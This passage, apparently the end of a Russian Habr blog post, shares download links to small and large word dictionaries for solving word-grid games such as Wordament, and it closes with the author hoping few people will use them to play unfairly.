А вот [словарь малый](https://yadi.sk/i/HZoczhTzfTruR) и [большой словарь](http://yadi.sk/d/FilwsIUuL8jF4) (не забудьте убрать в конце имени цифру 2, если будете использовать большой словарь). Большой словарь содержит не только начальные формы, он подойдёт для игры Wordament от Microsoft, но там не всегда на поле стоит по одной букве в клетке. В большинстве случаев хватает малого словаря для двух описанных игр, чтобы быть вверху турнирной таблицы.
Надеюсь, никто не будет много играть таким образом, все же большинство игроков продолжают играть честно. | https://habr.com/ru/post/216845/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.